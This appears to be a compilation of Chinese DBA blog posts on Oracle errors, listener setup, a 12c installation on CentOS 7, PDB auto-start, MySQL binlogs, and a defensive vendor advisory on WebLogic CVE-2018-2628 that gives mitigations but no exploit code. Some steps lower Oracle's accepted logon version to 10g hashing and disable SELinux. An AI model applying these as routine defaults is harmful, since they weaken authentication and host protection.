[oracle@orcltest mesg]$ ll *.msg          

-rw-r--r-- 1 oracle oinstall    4070 Jul 25  2008 amduus.msg

-rw-r--r-- 1 oracle oinstall    6298 Apr 14  2011 asmcmdus.msg

-rw-r--r-- 1 oracle oinstall    5886 Aug  3  2007 dbvus.msg

-rw-r--r-- 1 oracle oinstall   23309 Jan 28  2010 dgmus.msg

-rw-r--r-- 1 oracle oinstall  175881 May 11  2011 diaus.msg

-rw-r--r-- 1 oracle oinstall   49483 Jan 28  2010 expus.msg

-rw-r--r-- 1 oracle oinstall   15148 Nov  8  2009 gimus.msg

-rw-r--r-- 1 oracle oinstall   47609 Feb 18  2009 impus.msg

-rw-r--r-- 1 oracle oinstall    3585 Nov  3  2009 kfedus.msg

-rw-r--r-- 1 oracle oinstall    3457 Nov  6  2008 kfodus.msg

-rw-r--r-- 1 oracle oinstall    1792 Mar  1  2009 kfsgus.msg

-rw-r--r-- 1 oracle oinstall   26775 Nov  1  1999 kgpus.msg

-rw-r--r-- 1 oracle oinstall    3113 Sep  3  1997 kopus.msg

-rw-r--r-- 1 oracle oinstall   72528 Sep 17  2011 kupus.msg

-rw-r--r-- 1 oracle oinstall    4651 Sep  3  1997 lcdus.msg

-rw-r--r-- 1 oracle oinstall   22043 Nov 27  2006 nidus.msg

-rw-r--r-- 1 oracle oinstall  129827 May  5  2011 ocius.msg

-rw-r--r-- 1 oracle oinstall     734 Mar  8  2010 opwus.msg

-rw-r--r-- 1 oracle oinstall 4922454 Sep 17  2011 oraus.msg

-rw-r--r-- 1 oracle oinstall  178311 Aug 25  2009 qsmus.msg

-rw-r--r-- 1 oracle oinstall  391272 Sep 17  2011 rmanus.msg

-rw-r--r-- 1 oracle oinstall   40078 Jul 30  2001 sbtus.msg

-rw-r--r-- 1 oracle oinstall  123863 May 22  2010 smgus.msg

-rw-r--r-- 1 oracle oinstall   20433 Jan 13  2010 udeus.msg

-rw-r--r-- 1 oracle oinstall   20572 Jan 13  2010 udius.msg

-rw-r--r-- 1 oracle oinstall  143025 Jul 27  2009 ulus.msg

[oracle@orcltest mesg]$

 

然后执行就OK了。

C:\Users\xiaomaimiao>oerr ora 01555

01555, 00000, "snapshot too old: rollback segment number %s with name \"%s\" too small"

// *Cause: rollback records needed by a reader for consistent read are

//         overwritten by other writers

// *Action: If in Automatic Undo Management mode, increase undo_retention

//          setting. Otherwise, use larger rollback segments

 




Oracle 12.2的ORA-01017/ORA-28040解惑

最近安装了一套RHEL 7.2 x86-86的Oracle12.2.0.1单机测试库,导完数据交给业务后,业务反馈使用PL/SQL Developer连接时报如下错误:

赶紧查了查MOS,原来在默认情况下Oracle 12.2对客户端版本有限制,主要是由sqlnet.ora中的以下两个参数控制:


SQLNET.ALLOWED_LOGON_VERSION_SERVER=n

SQLNET.ALLOWED_LOGON_VERSION_CLIENT=n


这两个参数默认是11,表明默认只允许11g的客户端进行连接,考虑到很多PC端 plsql developer用的客户端都是10g,把这两个参数改为10:


SQLNET.ALLOWED_LOGON_VERSION_SERVER=10

SQLNET.ALLOWED_LOGON_VERSION_CLIENT=10


SQLNET.ALLOWED_LOGON_VERSION_CLIENT参数主要是当数据库作为dblink的客户端时使用,设置后无需重启监听和数据库就可以生效。对于RAC,Oracle读取的这两个参数是在RDBMS的ORACLE_HOME里,而不是GRID的ORACLE_HOME里。


解决完这个问题,有些客户端可以连接了,但是有些客户端报:ORA-01017: invalidusername/password。于是我做了一些测试,发现在10.2.0.4版本的客户端连接会报ORA-01017,而10.2.0.5的版本可以正常连接,11.2.0.3、11.2.0.4和12.2.0.1的客户端也都没有问题,其它版本没有找到相关客户端,也就没有测试。


这里已经设置了10g客户端可以连接12.2的数据库,但为什么10.2.0.4的客户端还会报ORA-01017口令错误,而10.2.0.5客户端就可以连接。


经过检查,在Oracle 12c的数据库中(其实从11g开始就有了),dba_users视图上有个字段是password_versions,该值情况如下:


SQL> set linesize 200

SQL> column username format a15

SQL> column account_status format a18

SQL> column default_tablespace format a25

SQL> column password_versions format a20

SQL> select username, account_status, default_tablespace, created, password_versions from dba_users where username = 'CRM';


USERNAME ACCOUNT_STATUS DEFAULT_TABLESPACE CREATED             PASSWORD_VERSIONS

-------- -------------- ------------------ ------------------- --------------------

CRM      OPEN           TBS_CRM_TS_S1      2017-06-06 21:36:19 11G 12C


password_versions表明当前CRM用户口令的认证方式是11g和12c,所以10.2.0.4客户端连接出现了问题。那如何支持10g的认证方式呢,其实很简单,只要确认sqlnet.ora中的SQLNET.ALLOWED_LOGON_VERSION_SERVER和SQLNET.ALLOWED_LOGON_VERSION_CLIENT已经设置为10,然后使用alert user xxx identified by xxxxxx后,PASSWORD_VERSIONS就支持10g的认证方式了,如下:


SQL> set linesize 200

SQL> column username format a15

SQL> column account_status format a18

SQL> column default_tablespace format a25

SQL> column password_versions format a20

SQL> select username, account_status, default_tablespace, created, password_versions from dba_users where username = 'CRM';

 

USERNAME ACCOUNT_STATUS DEFAULT_TABLESPACE CREATED             PASSWORD_VERSIONS

-------- -------------- ------------------ ------------------- --------------------

CRM      OPEN           TBS_CRM_TS_S1      2017-06-06 21:36:19 10G 11G 12C


所以整个问题的过程如下:在Oracle 12c上安装建库并迁移数据后,由于前期未设置SQLNET.ALLOWED_LOGON_VERSION_SERVER和SQLNET.ALLOWED_LOGON_VERSION_CLIENT为10,导致创建的用户不支持10g的口令认证方式。而修改这两个sqlnet参数后,数据库里用户的口令认证方式未发生变化,所以10.2.0.4客户端连接不上服务器,报ORA-01017。使用alert user xxx identified byxxxxxx修改口令后,由于sqlnet中的这两个参数已经修改为支持10g客户端的连接,所以dba_user中的password_versions也相应地修改为支持10g的认证方式,所以10.2.0.4版本的客户就可以连接数据库了。


所以当一些客户端是10.2.0.4的应用需要注意了,如果数据库服务器使用数据迁移的方式升级到Oracle 12c,需要注意在Oracle 12c中用户口令是否支持10g的认证方式,否则迁移后就报默名其妙的口令错误,10.2.0.5版本的客户端测试没有问题。


oracle错误:ORACLE_HOME_LISTNER is not SET, unable to auto-start Oracle Net Listener

$
0
0

oracle错误:ORACLE_HOME_LISTNER is not SET, unable to auto-start Oracle Net Listener

解决方法 

安装好Oracle数据库后:

执行

1
 dbstart

和dbshut会提示:

1
2
3
[oracle@oracle11g ~]$ dbstart
ORACLE_HOME_LISTNER is not SET, unable to auto-start Oracle Net Listener
Usage: /u01/app/oracle/oracle/product/10.2.0/db_1/bin/dbstart ORACLE_HOME

错误原因 dbstart和dbshut脚本文件中ORACLE_HOME_LISTNER的设置有问题

解决方法 分别打开两个文件找到:

1
ORACLE_HOME_LISTNER=$1

,修改为 

1
ORACLE_HOME_LISTNER=$ORACLE_HOME

然后修改/home/oracle/.bash_profile 

添加export ORACLE_HOME_LISTNER=$ORACLE_HOME一句 

生效变量:

1
[root@oracle01 ~]# source /home/oracle/.bash_profile

ORACLE启动监听器 The listener supports no services 问题解决方法

$
0
0

Oracle 12c   linux 64bit  启动ORACLE监听器,结尾报 The listener supports no services ,数据库实例services没被注册监听.


2种方法解决:
一、手工注册,每次重启监听都需要手工注册:
SQL> alter system register;
System altered.

二、修改 listener.ora,一劳永逸解决问题
在LISTENER里添加内容:
SID_LIST_LISTENER =
(SID_LIST =
  (SID_DESC =
  (GLOBAL_DBNAME = orcl)
  (SID_NAME = orcl)
  )
)
另,感觉这是个bug,google下·看到:http://www.askmaclean.com/archives/11gr2-rac-add-listener-static-register.html
原来在11gr2新建和修改监听后,不会自动静态注册,需要退出netca 界面,启动netmgr界面,为监听加入静态注册的信息:
点选方才创建的监听器,选择Database Services菜单
填入Global Database Name和本地实例的SID信息,并确认ORACLE HOME Directory(应是Grid Infrastructure的Home目录)正确后点选Save Network Configuration。
重启监听即可


[oracle@localhost admin]$ lsnrctl status

LSNRCTL for Linux: Version 12.1.0.2.0 - Production on 19-APR-2016 10:51:08

Copyright (c) 1991, 2014, Oracle. All rights reserved.

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.230.129)(PORT=1521)))

STATUS of the LISTENER

Alias LISTENER
Version TNSLSNR for Linux: Version 12.1.0.2.0 - Production
Start Date 19-APR-2016 10:43:19
Uptime 0 days 0 hr. 7 min. 49 sec
Trace Level off
Security ON: Local OS Authentication
SNMP OFF
Listener Parameter File /u01/app/oracle/product/12.1.0/db_1/network/admin/listener.ora
Listener Log File /u01/app/oracle/diag/tnslsnr/localhost/listener/alert/log.xml
Listening Endpoints Summary…
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.230.129)(PORT=1521)))
(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC1521)))
The listener supports no services
The command completed successfully

这样启动后远程连接会造成
oracle ORA-12514:TNS:listener does not currently know of service requested in connect descriptor

–查看监听状态
$lsnrctl status


  • 解决方案

Oracle Net Manager修改配置

在下图的Listeners->Database Services中配置要监听的SID及ORACLE_HOME,退出保存。

这里写图片描述

在Liunx环境下使用netmgr命令完成!!!

[oracle@localhost bin]$ netmgr


Oracle WebLogic Server Java反序列化漏洞CVE-2018-2628

$
0
0

Oracle WebLogic Server Java反序列化漏洞CVE-2018-2628


阅读: 16

Oracle官方发布了4月份的关键补丁更新CPU(Critical Patch Update),其中包含一个高危的远程代码执行漏洞(CVE-2018-2628),通过该漏洞,攻击者可以在未授权的情况下远程执行任意代码。绿盟科技专家迅速响应,第一时间制定解决方案,并提供绿盟网络入侵防护系统(NIPS)和绿盟下一代防火墙系统(NF)最新升级包下载

预警编号:NS-2018-0015

关注级别:红,此漏洞利用简单,可直接获取系统控制权限,存在被攻击者挖矿利用的可能性

文章目录

WebLogic漏洞概述

北京时间4月18日凌晨,Oracle官方发布了4月份的关键补丁更新CPU(Critical Patch Update),其中包含一个高危的远程代码执行漏洞(CVE-2018-2628),通过该漏洞,攻击者可以在未授权的情况下远程执行任意代码。

CVSS 评分:9.8,CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

此漏洞产生于Weblogic T3服务,所有开放Weblogic控制台端口的应用,均会默认开启T3服务,因此会造成较大范围的影响。根据绿盟态势感知平台查询的结果,在全球范围内对互联网开放Weblogic服务的资产数量多达19,229,其中归属中国地区的受影响资产数量为1,787。


WebLogic漏洞影响范围

受影响的版本

  • Weblogic 10.3.6.0
  • Weblogic 12.1.3.0
  • Weblogic 12.2.1.2
  • Weblogic 12.2.1.3

以上均为官方支持的版本

WebLogic漏洞影响排查

一、版本检查

使用如下命令对WebLogic版本进行排查

$ cd /lopt/bea92sp2/weblogic92/server/lib
 
$ java -cp weblogic.jar weblogic.version

查看版本是否在受影响范围内。如果当前版本在受影响范围内,在检测是否对外开放了Weblogic端口(默认为7001端口),如果Weblogic服务可被远程访问。则存在漏洞风险,请受影响的用户及时进行加固。

二、使用NTI对互联网资产排查

绿盟科技威胁情报中心(NTI)提供对互联网开放网络资产信息查看的功能,企业用户可通过在NTI上检索自有资产信息端口开放情况,查看企业资产是否受此漏洞影响。


绿盟科技威胁情报中心为企业客户提供互联网资产核查服务,使得企业客户能够及时掌握自身资产的安全态势以及资产变动情况,服务详情可咨询: NTI@nsfocus.com ,或者咨询对应的客户经理。

三、脚本检测

针对该漏洞,绿盟科技提供检测排查脚本,相关企业用户可联系绿盟科技对应的客户经理索取。


WebLogic漏洞防护

官方补丁

Oracle官方已经在今天的关键补丁更新(CPU)中修复了该漏洞,强烈建议受影响的用户尽快升级更新进行防护。

注:Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。

安全产品防护方案

绿盟网络入侵防护系统(NIPS)

已经部署绿盟网络入侵防护系统(NIPS)的用户,可通过规则升级进行有效的防护,请相关用户可参考以下步骤进行规则库升级。

  1. 从绿盟科技官网下载最新的NIPS升级包,以6.10版本为例,访问以下链接可获得最新的规则升级包:

http://update.nsfocus.com/update/downloads/id/21006


  1. 在系统升级中点击离线升级,选择系统规则库,选择对应的文件,点击上传。

  3.更新成功后,在系统默认规则库中查找规则编号:23614,即可查询到对应的规则详情。


注意事项:请选择合适的时间升级;该升级包升级后引擎自动重启生效,不会造成会话中断,但ping 包会丢3~5 个。

绿盟下一代防火墙系统(NF)

已经部署绿盟下一代防火墙系统(NF)的用户,可通过规则升级进行有效的防护,请相关用户可参考以下步骤进行规则库升级。

  1. 从绿盟科技官网下载最新的NF升级包,以6.0.1版本为例,访问以下链接可获得最新的规则升级包:

http://update.nsfocus.com/update/downloads/id/21007

  1. 在NF的规则升级界面进行升级:

  3.手动选择规则包,点击提交即可完成更新。

临时解决方案

可通过控制T3协议的访问来临时阻断针对该漏洞的攻击。WebLogic Server 提供了名为 weblogic.security.net.ConnectionFilterImpl 的默认连接筛选器,此连接筛选器接受所有传入连接,可通过此连接筛选器配置规则,对t3及t3s协议进行访问控制,详细操作步骤如下:

1.进入Weblogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。

 

2 .在连接筛选器中输入:security.net.ConnectionFilterImpl,在连接筛选器规则中输入:* * 7001 deny t3 t3s


3.保存后规则即可生效,无需重新启动。


使用检测脚本,可看到防护效果已经生效:


连接筛选器规则格式如:target localAddress localPort action protocols,其中:
 
 target 指定一个或多个要筛选的服务器。
 
 localAddress 可定义服务器的主机地址。(如果指定为一个星号 (*),则返回的匹配结果将是所有本地 IP 地址。)
 
 localPort 定义服务器正在监听的端口。(如果指定了星号,则匹配返回的结果将是服务器上所有可用的端口)。
 
 action 指定要执行的操作。(值必须为“allow”或“deny”。)
 
 protocols 是要进行匹配的协议名列表。(必须指定下列其中一个协议:httphttpst3t3sgiopgiopsdcom  ftp。) 如果未定义协议,则所有协议都将与一个规则匹配。

CENTOS7/RHEL7.4安装oracle12c数据库

$
0
0

CENTOS7/RHEL7.4安装oracle12c数据库


修改系统配置

hostnamectl set-hostname db1
chkconfig NetworkManager off
/etc/init.d/NetworkManager stop
chkconfig ip6tables off


安装桌面环境与Oracle依赖包。

yum groupinstall -y "Desktop" "X Window System" "Chinese Support [zh]" "Internet Browser"

yum -y install cjkuni* bitmap* wqy-*
yum -y install binutils compat-libcap1 compat-libstdc++-33 compat-libstdc++-33*.i686 elfutils-libelf-devel gcc gcc-c++ glibc*.i686 glibc glibc-devel glibc-devel*.i686 ksh libgcc*.i686 libgcc libstdc++ libstdc++*.i686 libstdc++-devel libstdc++-devel*.i686 libaio libaio*.i686 libaio-devel libaio-devel*.i686 make sysstat unixODBC unixODBC*.i686 unixODBC-devel unixODBC-devel*.i686 libXp

yum install glibc glibc-devel glibc-headers ksh libaio libaio-devel libgcc libstdc++ libstdc++-devel make sysstat unixODBC unixODBC-devel pdksh  compat-libcap1   compat-libstdc++ elfutils-libelf-devel gcc-c++ -y
yum -y install binutils compat-libstdc++-33 compat-libstdc++-33.i686 elfutils-libelf elfutils-libelf-devel gcc gcc-c++ glibc glibc.i686 glibc-common glibc-devel glibc-devel.i686 glibc-headers ksh libaio libaio.i686 libaio-devel libaio-devel.i686 libgcc libgcc.i686 libstdc++ libstdc++.i686 libstdc++-devel make sysstat unixODBC unixODBC-devel unzip
yum install elfutils-libelf-devel-static -y
yum install elfutils-libelf-devel-static -y
 yum -y install binutils compat-libstdc++-33 compat-libstdc++-33.i686 elfutils-libelf elfutils-libelf-devel gcc gcc-c++ glibc glibc.i686 glibc-common glibc-devel glibc-devel.i686 glibc-headers ksh libaio libaio.i686 libaio-devel libaio-devel.i686 libgcc libgcc.i686 libstdc++ libstdc++.i686 libstdc++-devel make sysstat unixODBC unixODBC-devel unzip
yum install glibc glibc-devel glibc-headers ksh libaio libaio-devel libgcc libstdc++ libstdc++-devel make sysstat unixODBC unixODBC-devel pdksh  compat-libcap1   compat-libstdc++ elfutils-libelf-devel gcc-c++
yum install libcap.so.1 -y
yum  install compat-libstdc*
yum -y install autoconf automake binutils-devel bison cpp dos2unix gcc gcc-c++ lrzsz python-devel
yum -y install kernel-devel kernel-headers
yum –y install libXp libXp.i686
yum -y install libXtst.i686 libXt.i686
yum –y install libXp libXp.i686
yum –y install libX
yum –y install libXp
yum -y install libXp
yum -y install libXp.i686
yum -y install libXtst.i686 libXt.i68
yum -y install libXtst.i686 libXt.i686
yum -y install binutils compat-libstdc++-33 compat-libstdc++-33.i686 elfutils-libelf elfutils-libelf-devel gcc gcc-c++ glibc glibc.i686 glibc-common glibc-devel glibc-devel.i686 glibc-headers ksh libaio libaio.i686 libaio-devel libaio-devel.i686 libgcc libgcc.i686 libstdc++ libstdc++.i686 libstdc++-devel make sysstat

yum install libaio.i686 libaio.x86_64 libaio-devel.i686 libaio-devel.x86_64 compat-libstdc++-33.i686 compat-libstdc++-33.x86_64 elfutils-libelf-devel.i686 elfutils-libelf-devel.x86_64 libstdc++.i686 libstdc++.x86_64 unixODBC.i686 unixODBC.x86_64 unixODBC-devel.i686 unixODBC-devel.x86_64


配置oracle账号信息。

groupadd dba
groupadd oper
groupadd oinstall

useradd -g oinstall -G dba,oper oracle
passwd oracle


vi /etc/sysctl.d/99-sysctl.conf

kernel.shmmni = 4096  
kernel.sem = 250 32000 100 128

fs.file-max = 6815744
fs.aio-max-nr = 3145728

net.ipv4.ip_local_port_range = 9000 65000
net.core.rmem_default = 4194304
net.core.rmem_max = 4194304
net.core.wmem_default = 262144
net.core.wmem_max = 1048576


 sysctl -p

 sed -i 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config


# vi /etc/pam.d/login
session required /lib/security/pam_limits.so
session required pam_limits.so



  vi /etc/security/limits.conf

oracle  soft        nproc   500000
oracle  hard        nproc   500000
oracle  soft        nofile  1048000
oracle  hard        nofile  1048000
oracle  soft        stack   10240
oracle  hard        stack   10240



创建oralce安装目录以及数据存放目录.

# mkdir -p /data/app/oracle

# chown -R oracle:oinstall /data/app/oracle

# chmod -R 775 /data/app/oracle



配置Oracle用户环境变量:

# vi /home/oracle/.bash_profile

在文件末尾加入以下内容:

PATH=$PATH:$HOME/bin

export ORACLE_BASE=/data/app/oracle

export ORACLE_HOME=$ORACLE_BASE/product/12.2/db_1

export ORACLE_SID=hextrack

export PATH=$PATH:$HOME/bin:$ORACLE_HOME/bin

export NLS_LANG="SIMPLIFIED CHINESE_CHINA".ZHS16GBK

export PATH



linux oracle 启动脚本:
 
#!/bin/sh
# chkconfig: 345 99 05
# description: Oracle auto start-stop script.

#
# Set ORA_HOME to be equivalent to the $ORACLE_HOME
# from which you wish to execute dbstart and dbshut;
#
# Set ORA_OWNER to the user id of the owner of the
# Oracle database in ORA_HOME.
ORA_HOME=/xvdb/oracle/app/product/11.2.4/db_1
ORA_OWNER=oracle
if [ ! -f $ORA_HOME/bin/dbstart ]
then
    echo "Oracle startup: cannot start"
    exit
fi
case "$1" in
'start')
# Start the Oracle databases:
echo "Starting Oracle Databases ... "
echo "-------------------------------------------------" >> /var/log/oracle
date +" %T %a %D : Starting Oracle Databases as part of system up." >> /var/log/oracle
echo "-------------------------------------------------" >> /var/log/oracle
su - $ORA_OWNER -c "$ORA_HOME/bin/dbstart" >>/var/log/oracle
su - $ORA_OWNER -c "$ORA_HOME/bin/emctl start dbconsole" >>/var/log/oracle
echo "Done"

# Start the Listener:
echo "Starting Oracle Listeners ... "
echo "-------------------------------------------------" >> /var/log/oracle
date +" %T %a %D : Starting Oracle Listeners as part of system up." >> /var/log/oracle
echo "-------------------------------------------------" >> /var/log/oracle
su - $ORA_OWNER -c "$ORA_HOME/bin/lsnrctl start" >>/var/log/oracle
echo "Done."
echo "-------------------------------------------------" >> /var/log/oracle
date +" %T %a %D : Finished." >> /var/log/oracle
echo "-------------------------------------------------" >> /var/log/oracle
ln -s /etc/init.d/oracle11g /etc/rc6.d/K01oracle11g /var/lock/subsys/
;;

'stop')
# Stop the Oracle Listener:
echo "Stoping Oracle Listeners ... "
echo "-------------------------------------------------" >> /var/log/oracle
date +" %T %a %D : Stoping Oracle Listener as part of system down." >> /var/log/oracle
echo "-------------------------------------------------" >> /var/log/oracle
su - $ORA_OWNER -c "$ORA_HOME/bin/emctl stop dbconsole" >>/var/log/oracle
su - $ORA_OWNER -c "$ORA_HOME/bin/lsnrctl stop" >>/var/log/oracle
echo "Done."
rm -f /var/lock/subsys/oracle11g

# Stop the Oracle Database:
echo "Stoping Oracle Databases ... "
echo "-------------------------------------------------" >> /var/log/oracle
date +" %T %a %D : Stoping Oracle Databases as part of system down." >> /var/log/oracle
echo "-------------------------------------------------" >> /var/log/oracle
su - $ORA_OWNER -c "$ORA_HOME/bin/dbshut" >>/var/log/oracle
echo "Done."
echo ""
echo "-------------------------------------------------" >> /var/log/oracle
date +" %T %a %D : Finished." >> /var/log/oracle
echo "-------------------------------------------------" >> /var/log/oracle
;;

'restart')
$0 stop
$0 start
;;
esac




Oracle 12c CDB与pdb 自动启动方法

$
0
0

Oracle 12c pdb自动启动

PDB Pluggable Database是12c中扛鼎的一个新特性, 但是对于CDB中的PDB,默认启动CDB时不会将所有的PDB带起来,这样我们就需要手动alter pluggable database ALL OPEN;

例如:

SQL> shutdown immediate;
Database closed.
Database dismounted.
ORACLE instance shut down.
SQL> 
SQL> startup ;
ORACLE instance started.

Total System Global Area 1419685888 bytes
Fixed Size                  2288344 bytes
Variable Size             536872232 bytes
Database Buffers          872415232 bytes
Redo Buffers                8110080 bytes
Database mounted.
Database opened.
SQL> select con_id,name,open_mode from v$pdbs;

    CON_ID NAME                           OPEN_MODE
---------- ------------------------------ ----------
         2 PDB$SEED                       READ ONLY
         3 MACC                           MOUNTED

可以通过添加Trigger的形式来客制化startup时自动将PDB OPEN:

CREATE TRIGGER open_all_pdbs
   AFTER STARTUP
   ON DATABASE
BEGIN
   EXECUTE IMMEDIATE 'alter pluggable database all open';
END open_all_pdbs;
/

Trigger created.

SQL> shutdown immediate;
Database closed.
Database dismounted.
ORACLE instance shut down.
SQL> 
SQL> startup;
ORACLE instance started.

Total System Global Area 1419685888 bytes
Fixed Size                  2288344 bytes
Variable Size             536872232 bytes
Database Buffers          872415232 bytes
Redo Buffers                8110080 bytes
Database mounted.
Database opened.
SQL> select con_id,name,open_mode from v$pdbs;

    CON_ID NAME                           OPEN_MODE
---------- ------------------------------ ----------
         2 PDB$SEED                       READ ONLY
         3 MACC                           READ WRITE

NOTE: dependency between database MAC and diskgroup resource ora.DATADG.dg is established
alter pluggable database all open
Sun Jul 07 01:40:59 2013
This instance was first to open pluggable database MACC (container=3)
Opening pdb MACC (3) with no Resource Manager plan active
Pluggable database MACC opened read write
Completed: alter pluggable database all open
Starting background process CJQ0

使用SYS用户创建如下触发器即可:

conn / as sysdba

CREATE TRIGGER open_all_pdbs
   AFTER STARTUP
   ON DATABASE
BEGIN
   EXECUTE IMMEDIATE 'alter pluggable database all open';
END open_all_pdbs;
/

Mysql之binlog日志说明及利用binlog日志恢复数据操作记录

$
0
0

Mysql之binlog日志说明及利用binlog日志恢复数据操作记录

 

众所周知,binlog日志对于mysql数据库来说是十分重要的。在数据丢失的紧急情况下,我们往往会想到用binlog日志功能进行数据恢复(定时全备份+binlog日志恢复增量数据部分),化险为夷!

废话不多说,下面是梳理的binlog日志操作解说:

一、初步了解binlog
MySQL的二进制日志binlog可以说是MySQL最重要的日志,它记录了所有的DDL和DML语句(除了数据查询语句select),以事件形式记录,还包含语句所执行的消耗的时间,MySQL的二进制日志是事务安全型的。
----------------------------------------------------------------------------------------------------------------------------------------------
DDL
----Data Definition Language 数据库定义语言
主要的命令有CREATE、ALTER、DROP等,DDL主要是用在定义或改变表(TABLE)的结构,数据类型,表之间的链接和约束等初始化工作上,他们大多在建立表时使用。

DML
----Data Manipulation Language 数据操纵语言
主要的命令是SELECT、UPDATE、INSERT、DELETE,就象它的名字一样,这4条命令是用来对数据库里的数据进行操作的语言
----------------------------------------------------------------------------------------------------------------------------------------------

mysqlbinlog常见的选项有以下几个:
--start-datetime:从二进制日志中读取指定等于时间戳或者晚于本地计算机的时间
--stop-datetime:从二进制日志中读取指定小于时间戳或者等于本地计算机的时间 取值和上述一样
--start-position:从二进制日志中读取指定position 事件位置作为开始。
--stop-position:从二进制日志中读取指定position 事件位置作为事件截至

*********************************************************************

一般来说开启binlog日志大概会有1%的性能损耗。
binlog日志有两个最重要的使用场景:
1)MySQL主从复制:MySQL Replication在Master端开启binlog,Master把它的二进制日志传递给slaves来达到
master-slave数据一致的目的。
2)自然就是数据恢复了,通过使用mysqlbinlog工具来使恢复数据。
binlog日志包括两类文件:
1)二进制日志索引文件(文件名后缀为.index)用于记录所有的二进制文件
2)二进制日志文件(文件名后缀为.00000*)记录数据库所有的DDL和DML(除了数据查询语句select)语句事件。

二、开启binlog日志:
1)编辑打开mysql配置文件/etc/mys.cnf
[root@vm-002 ~]# vim /etc/my.cnf
在[mysqld] 区块添加
log-bin=mysql-bin 确认是打开状态(mysql-bin 是日志的基本名或前缀名);

2)重启mysqld服务使配置生效
[root@vm-002 ~]# /etc/init.d/mysqld stop
[root@vm-002 ~]# /etc/init.d/mysqld restart
Stopping mysqld: [ OK ]
Starting mysqld: [ OK ]

3)查看binlog日志是否开启
mysql> show variables like 'log_%';
+---------------------------------+---------------------+
| Variable_name | Value |
+---------------------------------+---------------------+
| log_bin | ON |
| log_bin_trust_function_creators | OFF |
| log_bin_trust_routine_creators | OFF |
| log_error | /var/log/mysqld.log |
| log_output | FILE |
| log_queries_not_using_indexes | OFF |
| log_slave_updates | OFF |
| log_slow_queries | OFF |
| log_warnings | 1 |
+---------------------------------+---------------------+
9 rows in set (0.00 sec)

三、常用的binlog日志操作命令
1)查看所有binlog日志列表
mysql> show master logs;
+------------------+-----------+
| Log_name | File_size |
+------------------+-----------+
| mysql-bin.000001 | 149 |
| mysql-bin.000002 | 4102 |
+------------------+-----------+
2 rows in set (0.00 sec)

2)查看master状态,即最后(最新)一个binlog日志的编号名称,及其最后一个操作事件pos结束点(Position)值
mysql> show master status;
+------------------+----------+--------------+------------------+
| File | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+------------------+----------+--------------+------------------+
| mysql-bin.000002 | 4102 | | |
+------------------+----------+--------------+------------------+
1 row in set (0.00 sec)

3)flush刷新log日志,自此刻开始产生一个新编号的binlog日志文件
mysql> flush logs;
Query OK, 0 rows affected (0.13 sec)

mysql> show master logs;
+------------------+-----------+
| Log_name | File_size |
+------------------+-----------+
| mysql-bin.000001 | 149 |
| mysql-bin.000002 | 4145 |
| mysql-bin.000003 | 106 |
+------------------+-----------+
3 rows in set (0.00 sec)

注意:
每当mysqld服务重启时,会自动执行此命令,刷新binlog日志;在mysqldump备份数据时加 -F 选项也会刷新binlog日志;

4)重置(清空)所有binlog日志
mysql> reset master;
Query OK, 0 rows affected (0.12 sec)

mysql> show master logs;
+------------------+-----------+
| Log_name | File_size |
+------------------+-----------+
| mysql-bin.000001 | 106 |
+------------------+-----------+
1 row in set (0.00 sec)

四、查看binlog日志内容,常用有两种方式:
1)使用mysqlbinlog自带查看命令法:
注意:
-->binlog是二进制文件,普通文件查看器cat、more、vim等都无法打开,必须使用自带的mysqlbinlog命令查看
-->binlog日志与数据库文件在同目录中
-->在MySQL5.5以下版本使用mysqlbinlog命令时如果报错,就加上 “--no-defaults”选项

查看mysql的数据存放目录,从下面结果可知是/var/lib//mysql
[root@vm-002 ~]# ps -ef|grep mysql
root 9791 1 0 21:18 pts/0 00:00:00 /bin/sh /usr/bin/mysqld_safe --datadir=/var/lib/mysql --socket=/var/lib/mysql/mysql.sock --pid-file=/var/run/mysqld/mysqld.pid --basedir=/usr --user=mysql
mysql 9896 9791 0 21:18 pts/0 00:00:00 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --log-error=/var/log/mysqld.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/lib/mysql/mysql.sock
root 9916 9699 0 21:18 pts/0 00:00:00 mysql -px xxxx
root 9919 9715 0 21:23 pts/1 00:00:00 grep --color mysql

[root@vm-002 ~]# cd /var/lib/mysql/
[root@vm-002 mysql]# ls
ibdata1 ib_logfile0 ib_logfile1 mysql mysql-bin.000001 mysql-bin.000002 mysql-bin.index mysql.sock ops test

使用mysqlbinlog命令查看binlog日志内容,下面截取其中的一个片段分析:
[root@vm-002 mysql]# mysqlbinlog mysql-bin.000002
..............
# at 624
#160925 21:29:53 server id 1 end_log_pos 796 Query thread_id=3 exec_time=0 error_code=0
SET TIMESTAMP=1474810193/*!*/;
insert into member(`name`,`sex`,`age`,`classid`) values('wangshibo','m',27,'cls1'),('guohuihui','w',27,'cls2')        #执行的sql语句
/*!*/;
# at 796
#160925 21:29:53 server id 1 end_log_pos 823 Xid = 17                  #执行的时间
.............

解释:
server id 1 : 数据库主机的服务号;
end_log_pos 796: sql结束时的pos节点
thread_id=11: 线程号

2)上面这种办法读取出binlog日志的全文内容比较多,不容易分辨查看到pos点信息
下面介绍一种更为方便的查询命令:
命令格式:
mysql> show binlog events [IN 'log_name'] [FROM pos] [LIMIT [offset,] row_count];
参数解释:
IN 'log_name' :指定要查询的binlog文件名(不指定就是第一个binlog文件)
FROM pos :指定从哪个pos起始点开始查起(不指定就是从整个文件首个pos点开始算)
LIMIT [offset,] :偏移量(不指定就是0)
row_count :查询总条数(不指定就是所有行)

mysql> show master logs;
+------------------+-----------+
| Log_name | File_size |
+------------------+-----------+
| mysql-bin.000001 | 125 |
| mysql-bin.000002 | 823 |
+------------------+-----------+
2 rows in set (0.00 sec)

mysql> show binlog events in 'mysql-bin.000002'\G;
*************************** 1. row ***************************
Log_name: mysql-bin.000002
Pos: 4
Event_type: Format_desc
Server_id: 1
End_log_pos: 106
Info: Server ver: 5.1.73-log, Binlog ver: 4
*************************** 2. row ***************************
Log_name: mysql-bin.000002
Pos: 106
Event_type: Query
